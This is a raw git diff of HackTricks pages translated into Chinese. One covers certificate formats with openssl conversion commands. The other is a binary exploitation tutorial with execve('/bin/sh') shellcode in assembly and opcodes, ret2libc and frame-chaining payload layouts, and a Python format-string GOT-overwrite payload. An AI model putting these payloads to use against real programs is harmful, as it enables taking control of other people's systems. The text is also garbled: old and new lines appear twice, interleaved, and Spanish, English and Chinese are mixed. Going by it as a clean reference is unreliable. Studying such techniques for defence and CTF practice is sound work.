**OCSP****RFC 2560**)涉及客户端和响应者共同工作,检查数字公钥证书是否已被吊销,无需下载完整的**CRL**。这种方法比传统的**CRL**更高效,后者提供了一份吊销证书序列号列表但需要下载一个可能很大的文件。CRL可以包含多达512个条目。更多详细信息请参阅[此处](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm)。
### **什么是证书透明度**
证书透明度通过确保SSL证书的签发和存在对域所有者、CA和用户可见有助于防范与证书相关的威胁。其目标包括
* 防止CA未经域所有者知情为域签发SSL证书。
* 防止CA未经域所有者知情为域签发SSL证书。
* 建立一个用于跟踪错误或恶意签发证书的开放审计系统。
* 保护用户免受欺诈证书的侵害。
#### **证书日志**
证书日志是由网络服务维护的公开可审计的、仅追加记录证书的记录。这些日志为审计目的提供了加密证据。签发机构和公众都可以向这些日志提交证书或查询以进行验证。虽然日志服务器的确切数量不固定但全球预计不会超过一千个。这些服务器可以由CA、ISP或任何感兴趣的实体独立管理。
证书日志是由网络服务维护的公开可审计的、仅追加记录证书的记录。这些日志为审计目的提供了加密证据。签发机构和公众都可以向这些日志提交证书或查询以进行验证。虽然确切的日志服务器数量不固定但全球预计不会超过一千个。这些服务器可以由CA、ISP或任何感兴趣的实体独立管理。
#### **查询**
@ -114,13 +114,13 @@ print(f"Public Key: {public_key}")
### **P7B/PKCS#7格式**
* 以Base64 ASCII存储,扩展名为.p7b或.p7c。
* 存储在Base64 ASCII中,扩展名为.p7b或.p7c。
* 仅包含证书和链证书,不包括私钥。
* 受Microsoft Windows和Java Tomcat支持。
### **PFX/P12/PKCS#12格式**
* 将服务器证书、中间证书和私钥封装在一个文件中的二进制格式
* 一种二进制格式,将服务器证书、中间证书和私钥封装在一个文件中。
* 扩展名:.pfx、.p12。
* 主要用于Windows上的证书导入和导出。
@ -132,8 +132,7 @@ print(f"Public Key: {public_key}")
```bash
openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem
```
* **PEM to DER**
* **PEM转DER**
* **PEM转DER**
```bash
openssl x509 -outform der -in certificatename.pem -out certificatename.der
```
@ -156,8 +155,8 @@ openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
```bash
openssl pkcs12 -in certificatename.pfx -out certificatename.pem
```
* **PFX to PKCS#8** 包括两个步骤:
1. 将 PFX 转换为 PEM
* **PFX转PKCS#8**涉及两个步骤:
1. 将PFX转换为PEM
```bash
openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
```
@ -171,33 +170,29 @@ openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
```
2. 将CER证书和私钥转换为PFX格式
```bash
openssl pkcs12 -export -out certificate.pfx -inkey private.key -in certificate.cer
```
```bash
openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer
```
***
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)轻松构建并由全球**最先进**的社区工具驱动的**自动化工作流程**。\
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)轻松构建并通过世界上**最先进**的社区工具**自动化工作流程**。\
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
支持HackTricks的其他方式
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>

View file

@ -2,54 +2,36 @@
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
支持HackTricks的其他方式
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
## **1.STACK OVERFLOWS**
> buffer overflow, buffer overrun, stack overrun, stack smashing
Segmentation fault: When trying to access a memory address that has not been assigned to the process.
To obtain the address of a function within a program, you can:
```
objdump -d ./PROGRAMA | grep FUNCION
```
## ROP
### 调用 sys\_execve
{% content-ref url="rop-syscall-execv.md" %}
[rop-syscall-execv.md](rop-syscall-execv.md)
{% endcontent-ref %}
## **2.SHELLCODE**
查看内核中断:cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_”
View kernel interrupts: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_”
setreuid(0,0); // \_\_NR\_setreuid 70\
execve(“/bin/sh”, args\[], NULL); // \_\_NR\_execve 11\
exit(0); // \_\_NR\_exit 1
xor eax, eax ; 清空 eax\
xor ebx, ebx ; ebx = 0,因为没有参数要传递\
xor eax, eax ; clear eax\
xor ebx, ebx ; ebx = 0 as there are no arguments to pass\
mov al, 0x01 ; eax = 1 —> \_\_NR\_exit 1\
int 0x80 ; 执行 syscall
int 0x80 ; Execute syscall
**nasm -f elf assembly.asm** —> 返回一个 .o 文件\
**ld assembly.o -o shellcodeout** —> 生成一个包含汇编代码的可执行文件,可以用 **objdump** 提取 opcodes\
**objdump -d -Mintel ./shellcodeout** —> 确认这确实是我们的 shellcode 并提取 OpCodes
**nasm -f elf assembly.asm** —> Returns a .o file\
**ld assembly.o -o shellcodeout** —> Generates an executable with the assembly code and we can extract the opcodes with **objdump**\
**objdump -d -Mintel ./shellcodeout** —> To verify that it is indeed our shellcode and extract the OpCodes
**验证 shellcode 是否有效**
**Verify that the shellcode works**
```
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
@ -59,7 +41,7 @@ fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
```
为了确保系统调用被正确执行,应编译前一个程序并在**strace ./COMPILADO_程序**中查看系统调用。
为了确保系统调用被正确执行,应编译前一个程序并在**strace ./PROGRAMA_COMPILADO**中查看系统调用。
在创建shellcode时可以使用一个技巧。第一条指令是跳转到一个调用。该调用会调用原始代码并将EIP放入堆栈。在call指令之后我们已经放入了所需的字符串因此可以使用该EIP指向字符串并继续执行代码。
@ -83,7 +65,7 @@ int $0x80 ; exit(0)
call -0x24 ; Salto a la primera instrución
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
```
**使用堆栈(/bin/sh)的基本ESP**
**使用堆栈(/bin/sh)的简单例子**
```
section .text
global _start
@ -105,18 +87,18 @@ mov al, 0x0b ; Syscall 11
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
```
**EJ FNSTENV:**
EJ FNSTENV是一个简单的exploit利用了Linux x86系统中的一个栈溢出漏洞。exploit的主要目的是通过修改EIP寄存器的值来控制程序的执行流程。exploit的payload会将一个精心构造的shellcode注入到程序的内存中然后利用栈溢出漏洞执行这段shellcode
EJ FNSTENV是一个用于将FPU环境保存到指定内存位置的汇编指令
```
fabs
fnstenv [esp-0x0c]
pop eax ; Guarda el EIP en el que se ejecutó fabs
```
**Egg Huter:**
**Egg Hunter:**
这是一小段代码,用于遍历与进程关联的内存页面,以查找其中存储的 shellcode查找 shellcode 中的某个签名)。在只有少量空间用于注入代码的情况下非常有用。
这是一小段代码,用于在进程关联的内存页面中搜索存储的 shellcode查找 shellcode 中的某个签名)。在只有少量空间用于注入代码的情况下非常有用。
**多态 Shellcodes**
**多态 Shellcode**
这些是加密的 shell其中包含一小段代码用于解密并跳转到它使用 Call-Pop 技巧,这是一个**凯撒加密的示例**
```
@ -137,119 +119,37 @@ call init
sc:
;Aquí va el shellcode
```
1. **攻击帧指针EBP**
在我们可以修改EBP但无法修改EIP的情况下很有用。
已知在退出函数时会执行以下汇编代码:
```
movl %ebp, %esp
popl %ebp
ret
```
以这种方式可以在退出被另一个函数调用的函数fvuln时修改EBP当调用fvuln的函数结束时其EIP可以被修改。
在fvuln中可以输入一个指向shellcode地址+4的虚假EBP需要加4是因为pop。因此在函数退出时将在ESP中放入&(\&Shellcode)+4的值通过pop将ESP减去4这将指向shellcode的地址当执行ret时。
**Exploit:**\
\&Shellcode + "AAAA" + SHELLCODE + relleno + &(\&Shellcode)+4
**Off-by-One Exploit**\
只允许修改EBP的最不显著字节。可以执行类似上述的攻击但存储shellcode地址的内存必须与EBP共享前3个字节。
## **4. Return to Libc方法**
当堆栈不可执行或留下很小的缓冲区以进行修改时,这种方法很有用。
ASLR导致每次执行时函数加载到内存的不同位置。因此在这种情况下此方法可能不起作用。对于远程服务器由于程序在同一地址上持续执行因此可能会有用。
* **cdecl(C声明)** 将参数放入堆栈,并在退出函数后清除堆栈
* **stdcall(标准调用)** 将参数放入堆栈,由被调用函数清除堆栈
* **fastcall** 将前两个参数放入寄存器,其余参数放入堆栈
将libc的system指令的地址放入并将字符串“/bin/sh”作为参数传递通常从环境变量中传递。此外使用exit函数的地址以便在不再需要shell时退出程序而不会出现问题并写入日志
**export SHELL=/bin/sh**
要找到所需的地址,可以在**GDB**中查看:\
**p system**\
**p exit**\
**rabin2 -i 可执行文件** —> 给出程序加载时使用的所有函数的地址\
在start或某个断点内**x/500s $esp** —> 在这里搜索字符串/bin/sh
一旦获得这些地址,**exploit**如下:
“A” \* EBP距离 + 4EBP最好是4个“A”以避免段错误 + **system**地址将覆盖EIP + **exit**地址从system(“/bin/sh”)退出后将调用此函数因为堆栈的前4个字节被视为要执行的下一个EIP地址 + “**/bin/sh**”地址将作为system的参数传递
这样EIP将被system地址覆盖system将以字符串“/bin/sh”作为参数接收并在退出后执行exit()函数。
可能会遇到某个函数地址的某个字节为null或空格\x20的情况。在这种情况下可以反汇编前面的地址因为可能有多个NOP这样可以调用其中一个而不是直接调用函数例如使用 > x/8i system-4
这种方法有效,因为使用**ret**而不是**call**调用system函数时函数会认为前4个字节将是要返回的**EIP**地址。
使用此方法的一个有趣技术是调用**strncpy()**将payload从堆栈移动到堆然后使用**gets()**执行该payload。
另一个有趣的技术是使用**mprotect()**它允许为内存的任何部分分配所需的权限。它适用于BDS、MacOS和OpenBSD但不适用于Linux控制不允许同时授予写入和执行权限。使用此攻击可以将堆栈重新配置为可执行。
**函数链接**
基于前述技术,这种利用方式包括:\
填充 + \&Function1 + \&pop;ret; + \&arg\_fun1 + \&Function2 + \&pop;ret; + \&arg\_fun2 + …
这样可以链接要调用的函数。此外如果要使用具有多个参数的函数可以放置所需的参数例如4个并放置4个参数然后查找包含opcodes的地址pop, pop, pop, pop, ret —> **objdump -d 可执行文件**
**通过伪造帧进行链接EBP链接**
利用可以操纵EBP的能力通过EBP和"leave;ret"来链接多个函数的执行。
填充
* 在EBP中放置一个指向的虚假EBP第二个虚假EBP + 要执行的函数:(\&system() + \&leave;ret + &“/bin/sh”)
* 在EIP中放置一个指向**leave;ret**的地址
启动shellcode指向shellcode的下一部分例如第二个EBP + \&system() + &(leave;ret;) + &”/bin/sh”
第二个EBP将是第三个虚假EBP + \&system() + &(leave;ret;) + &”/bin/ls”
可以在可以访问的内存部分中无限重复此shellcode从而将shellcode轻松地分割为小块内存。
通过EBP和ret2lib之前看到的漏洞混合执行函数
## **5. 附加方法**
## **5.补充方法**
**Ret2Ret**
当无法将堆栈地址放入EIP检查EIP不包含0xbf或无法计算shellcode位置时很有用。但是易受攻击的函数接受一个参数shellcode将在此处)。
适用于无法将堆栈地址放入EIP检查EIP不包含0xbf或无法计算shellcode位置的情况。但是易受攻击的函数接受一个参数shellcode将放在这里
因此通过将EIP更改为**ret**地址,将加载下一个地址(即函数的第一个参数的地址)。也就是将加载shellcode。
因此通过将EIP更改为**ret**地址将加载下一个地址即函数的第一个参数的地址。换句话说将加载shellcode。
Exploit如下SHELLCODE + 填充直到EIP + **\&ret**堆栈的下几个字节指向shellcode的开头因为将参数传递给堆栈中的地址
Exploit示例SHELLCODE +填充直到EIP+ **\&ret**堆栈的下几个字节指向shellcode的开头因为将参数传递给堆栈中的地址
似乎像**strncpy**这样的函数在完成后会从堆栈中删除存储shellcode的地址从而使此技术无效。也就是说传递给函数的参数地址存储shellcode的地址被0x00修改因此在第二个**ret**调用时会遇到0x00程序将终止。
```
**Ret2PopRet**
```
如果我们无法控制第一个参数但可以控制第二个或第三个参数我们可以用指向pop-ret或pop-pop-ret的地址来覆盖EIP取决于我们需要的情况。
似乎像**strncpy**这样的函数在完成后会从堆栈中删除存储shellcode的地址从而使这种技术无法实现。换句话说传递给函数作为参数的地址存储shellcode的地址被0x00修改因此在调用第二个**ret**时会遇到0x00导致程序崩溃。
**Murat技术**
在Linux中所有程序都映射到0xbfffffff开始。
在Linux中所有程序都从0xbfffffff开始映射
通过观察Linux中新进程堆栈的构建方式可以开发一种利用方式使程序在仅有shellcode作为变量的环境中启动。因此可以计算出shellcode所在的地址addr = 0xbfffffff - 4 - strlen(完整可执行文件名称) - strlen(shellcode)
通过查看Linux中新进程堆栈的构建方式可以开发一种利用程序在仅有shellcode变量的环境中启动的方法。因此可以计算出shellcode变量的地址addr = 0xbfffffff - 4 - strlen(FULL\_EXECUTABLE\_NAME) - strlen(shellcode)
这样可以轻松地获取包含shellcode的环境变量的地址。
这样可以轻松地获取包含shellcode的环境变量的地址。
这是因为execle函数允许创建仅包含所需环境变量的环境
这是因为execle函数允许创建仅包含所需环境变量的环境
**跳转到ESPWindows风格**
**Jump to ESP: Windows Style**
由于ESP始终指向堆栈的开头这种技术涉及用**jmp esp**或**call esp**的地址替换EIP。这样在覆盖EIP后保存shellcode因为在执行**ret**后ESP将指向下一个地址即shellcode所在的地址
由于ESP始终指向堆栈的开头此技术涉及用**jmp esp**或**call esp**的地址替换EIP。这样在覆盖EIP后shellcode将保存在ESP执行**ret**后的位置,因为执行**ret**后ESP将指向下一个地址即shellcode保存的位置。
如果Windows或Linux未启用ASLR则可以调用存储在共享对象中的**jmp esp**或**call esp**。如果启用了ASLR则可以在受影响的程序内部搜索。
如果Windows或Linux未启用ASLR则可以调用存储在共享对象中的**jmp esp**或**call esp**。如果启用了ASLR则可以在易受攻击的程序内部搜索。
此外将shellcode放在EIP损坏后而不是堆栈中间使得在函数执行过程中执行的push或pop指令不会触及shellcode如果放在函数堆栈中间可能会发生
此外将shellcode放在EIP损坏后而不是在函数堆栈中间使得在函数中执行的push或pop指令不会触及shellcode如果放在函数堆栈中间可能会发生
类似于这种情况如果我们知道函数返回存储shellcode的地址可以调用**call eax**或**jmp eax (ret2eax)**。
类似于此如果我们知道函数返回存储shellcode的地址可以调用**call eax**或**jmp eaxret2eax。**
**整数溢出**
@ -278,87 +178,27 @@ printf("\nIntento de hack\n");
return 0;
}
```
在上面的示例中,我们可以看到该程序期望有2个参数。第一个是下一个字符串的长度第二个是字符串本身
在上面的示例中,我们可以看到程序期望接收2个参数。第一个是下一个字符串的长度第二个是字符串。
如果我们将负数作为第一个参数传递,将会得到一个 len < 256 的结果我们会通过这个过滤器并且 strlen(buffer) 也会小于 l因为 l 是无符号整数会非常大
如果我们将第一个参数设为负数将会显示len < 256我们会通过这个过滤器并且strlen(buffer)也会小于l因为l是无符号整数会非常大
这种溢出不是为了在程序进程中写入内容,而是为了绕过设计不良的过滤器以利用其他漏洞。
**未初始化的变量**
未初始化的变量可能会取得任意值,观察这一点可能会很有趣。它可能会取决于前一个函数中某个变量的值,而这个变量可能会受到攻击者的控制。
未初始化的变量可能会取得任意值,观察这一点可能会很有趣。它可能会取决于前一个函数中某个变量的值,而这个变量可能会被攻击者控制。
## **格式化字符串**
##
在 C 语言中,**`printf`** 是一个用于**打印**字符串的函数。该函数期望的**第一个参数**是**带有格式化符号的原始文本**。接下来期望的参数是**用于替换**原始文本中**格式化符号的值**。
###
当**攻击者的文本被放置为该函数的第一个参数**时,就会出现漏洞。攻击者可以利用**printf格式化字符串的能力**来**编写特殊输入**,从而**在任何地址写入任何数据**。通过这种方式,可以**执行任意代码**。
###
格式化符号:
```bash
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
```
**`%n`** **写入**的是**写入的字节数**在**指定地址**。写入**与**我们需要**写入的十六进制数**一样多的字节**是您可以**写入任何数据**的方法。
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
```
### GOT全局偏移表/ PLT过程链接表
###
这个表包含程序使用的外部函数的地址。
### **.fini\_array**
使用以下命令获取该表的地址:`objdump -s -j .got ./exec`
观察在 GEF 中加载可执行文件后,可以看到在 GOT 中的函数:`gef➤ x/20x 0xDIR_GOT`
使用 GEF 可以开始调试会话并执行 `got` 命令查看 got 表:
在二进制文件中GOT 包含函数的地址或将加载函数地址的 PLT 部分的地址。此漏洞利用的目标是覆盖稍后将执行的函数的 GOT 条目,使用 `system` 函数的 PLT 地址覆盖。理想情况下,您将覆盖将由您控制参数的函数的 GOT以便控制发送到系统函数的参数。
如果脚本未使用 `system`,系统函数将不会在 GOT 中有条目。在这种情况下,您需要首先泄漏 `system` 函数的地址。
过程链接表是 ELF 文件中的只读表存储所有需要解析的必要符号。当调用这些函数之一时GOT 将重定向流到 PLT以便解析函数的地址并将其写入 GOT。然后下次调用该地址时函数将直接调用无需解析。
您可以使用 `objdump -j .plt -d ./vuln_binary` 查看 PLT 地址。
### 漏洞利用流程
如前所述,目标是覆盖稍后将调用的函数在 GOT 表中的地址。理想情况下,我们可以将地址设置为位于可执行部分的 shellcode但很可能您无法在可执行部分编写 shellcode。因此另一种选择是覆盖一个从用户接收其参数的函数并将其指向 `system` 函数。
通常,编写地址需要两个步骤:首先写入地址的 2 字节,然后写入另外 2 字节。为此,使用 `$hn`
HOB 用于地址的 2 个高字节\
LOB 用于地址的 2 个低字节
因此,由于格式字符串的工作方式,您需要首先写入 \[HOBLOB\] 中较小的一个,然后再写入另一个。
如果 HOB < LOB\
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
如果 HOB > LOB\
`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
`python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'`
### 格式字符串漏洞利用模板
您可以在此处找到使用格式字符串漏洞利用 GOT 的模板:
{% content-ref url="format-strings-template.md" %}
[format-strings-template.md](format-strings-template.md)
{% endcontent-ref %}
### .fini_array
本质上,这是一个在程序完成之前将被调用的函数结构。如果您可以通过跳转到一个地址调用您的 shellcode或者在需要再次返回到主函数以第二次利用格式字符串的情况下这将非常有趣。
本质上这是一个包含在程序结束前将被调用的函数的结构。如果您可以通过跳转到一个地址来调用您的shellcode或者在需要再次返回到主函数以利用格式字符串的情况下这将会很有趣。
```bash
objdump -s -j .fini_array ./greeting
@ -374,7 +214,7 @@ Contents of section .fini_array:
### **格式化字符串以转储内容**
格式化字符串也可以被滥用来从程序内存中转储内容。\
例如,在以下情况下,栈中有一个指向标志的本地变量。如果你找到指向标志的指针在内存中的位置你可以使printf访问该地址并打印标志
例如,在以下情况下,栈中有一个指向标志的本地变量。如果你找到内存中指向标志的指针在哪里你可以使printf访问该地址并打印标志
所以,标志在**0xffffcf4c**
@ -388,7 +228,7 @@ Contents of section .fini_array:
![](<../../.gitbook/assets/image (624).png>)
请注意,根据先前的利用并意识到你可以泄漏内容,你可以将指针设置到`printf`加载的可执行部分,并完全转储它!
请注意,根据先前的利用并意识到你可以泄漏内容,你可以将指针设置到`printf`加载的可执行文件的部分,并完全转储它!
### **DTOR**
@ -403,12 +243,12 @@ Contents of section .fini_array:
objdump -s -j .dtors /exec
rabin -s /exec | grep “__DTOR”
```
通常你会在值`ffffffff`和`00000000`之间找到**DTOR**部分。所以如果你只看到这些值,意味着**没有任何函数注册**。因此,**覆盖**`00000000`的**地址**为**shellcode**的地址以执行它
通常你会在值`ffffffff`和`00000000`之间找到**DTOR**部分。所以如果你只看到这些值,意味着**没有任何函数注册**。因此,**覆盖**`00000000`的**地址**以执行**shellcode**
### **格式化字符串到缓冲区溢出**
**sprintf**将格式化字符串**移动到**一个**变量**中。因此,你可以滥用字符串的**格式**来引起**变量**中的**缓冲区溢出**。\
例如,payload `%.44xAAAA`将在变量中**写入44B+"AAAA"**,这可能会导致缓冲区溢出。
**sprintf**将格式化字符串**移动到**一个**变量**中。因此,你可以滥用字符串的**格式**来导致**变量**中的**缓冲区溢出**。\
例如,负载`%.44xAAAA`将在**变量**中**写入44B+"AAAA"**,这可能会导致缓冲区溢出。
### **\_\_atexit 结构**
@ -417,9 +257,9 @@ rabin -s /exec | grep “__DTOR”
{% endhint %}
**`atexit()`**是一个函数,**其他函数作为参数传递给它**。这些**函数**将在执行**`exit()`**或**main**的**返回**时执行。\
如果你可以**修改**其中任何一个**函数**的**地址**指向一个shellcode你将**控制**这个**进程**,但目前这更加复杂。\
如果你可以**修改**其中任何一个**函数**的**地址**,例如指向一个shellcode你将**控制**这个**进程**,但目前这更加复杂。\
目前要执行的**函数地址**被隐藏在几个结构后面,最终指向的地址不是函数的地址,而是**用XOR加密**和**随机密钥**进行位移。因此目前这种攻击方式在x86和x64\_86上**不太有用**。\
**加密函数**是**`PTR_MANGLE`**。其他架构如m68k、mips32、mips64、aarch64、arm、hppa...**不实现加密**函数,因为它**返回与输入相同**的内容。因此,这些架构可以通过这种方式受到攻击。
**加密函数**是**`PTR_MANGLE`**。其他架构如m68k、mips32、mips64、aarch64、arm、hppa...**不实现加密**函数,因为它**返回与输入相同**。因此,这些架构可以通过这种方式受到攻击。
### **setjmp() & longjmp()**
@ -429,176 +269,51 @@ rabin -s /exec | grep “__DTOR”
**`Setjmp()`**允许**保存**上下文(寄存器)\
**`longjmp()`**允许**恢复**上下文。\
保存的寄存器有`EBX, ESI, EDI, ESP, EIP, EBP`\
**保存的寄存器**是`EBX, ESI, EDI, ESP, EIP, EBP`\
问题在于EIP和ESP通过**`PTR_MANGLE`**函数传递,因此**易受攻击的架构与上述相同**。\
它们对错误恢复或中断很有用。\
然而,根据我所了解的,其他寄存器没有受到保护,**所以如果在被调用的函数内部有`call ebx`、`call esi`或`call edi`**,就可以接管控制。或者也可以修改EBP以修改ESP。
但根据我所了解,其他寄存器没有受到保护,**因此如果在被调用的函数内部有`call ebx`、`call esi`或`call edi`**,就可以接管控制权。或者还可以修改EBP以修改ESP。
**VTable和VPTR在C++中**
每个类都有一个**Vtable**,它是一个**指向方法的指针数组**
每个类都有一个**Vtable**,它是一个指向方法的数组。
每个**类**的对象都有一个**VPtr**,它是**指向其类数组**指针。VPtr是每个对象头的一部分,因此如果**覆盖**了**VPtr**,它可以被**修改**为**指向**一个虚拟方法这样执行函数就会转到shellcode。
每个**类**的对象都有一个**VPtr**,它是指向其类数组**指针**。VPtr是每个对象头的一部分因此如果**覆盖**了**VPtr**,它可以被**修改**指向一个虚拟方法这样执行函数就会转到shellcode。
## **Preventive Measures and Evasions**
## **预防措施和规避**
**Return-into-printf**
###
这是一种将缓冲区溢出转换为格式串错误的技术。它涉及替换EIP以指向函数的printf并将操纵的格式字符串作为参数传递给它以获取有关进程状态的值。
**Library Attacks**
库位于具有16位随机性的位置 = 65636个可能的地址。如果一个易受攻击的服务器调用fork()内存地址空间将在子进程中复制并保持不变。因此可以尝试对libc的usleep()函数进行暴力破解将“16”作为参数传递以便当响应时间超过正常时间时找到该函数。一旦知道该函数的位置就可以获得delta\_mmap并计算其他内容。
唯一确保ASLR有效的方法是使用64位架构。在那里没有暴力攻击。
### Relro
**Relro只读重定位**影响内存权限类似于NX。不同之处在于NX使堆栈可执行而RELRO使**某些内容只读**,因此我们**无法写入**。我见过这成为障碍的最常见方式是阻止我们执行**`got`表覆写**,稍后将介绍。`got`表保存libc函数的地址以便二进制文件知道这些地址并调用它们。让我们看看带有和不带有relro的二进制文件的`got`表条目的内存权限是什么样子的。
有了relro:
```bash
gef➤ vmmap
Start End Offset Perm Path
0x0000555555554000 0x0000555555555000 0x0000000000000000 r-- /tmp/tryc
0x0000555555555000 0x0000555555556000 0x0000000000001000 r-x /tmp/tryc
0x0000555555556000 0x0000555555557000 0x0000000000002000 r-- /tmp/tryc
0x0000555555557000 0x0000555555558000 0x0000000000002000 r-- /tmp/tryc
0x0000555555558000 0x0000555555559000 0x0000000000003000 rw- /tmp/tryc
0x0000555555559000 0x000055555557a000 0x0000000000000000 rw- [heap]
0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤ p fgets
$2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets>
gef➤ search-pattern 0x7ffff7e4d100
[+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory
[+] In '/tmp/tryc'(0x555555557000-0x555555558000), permission=r--
0x555555557fd0 - 0x555555557fe8 → "\x00\xd1\xe4\xf7\xff\x7f[...]"
```
没有relro:
```bash
gef➤ vmmap
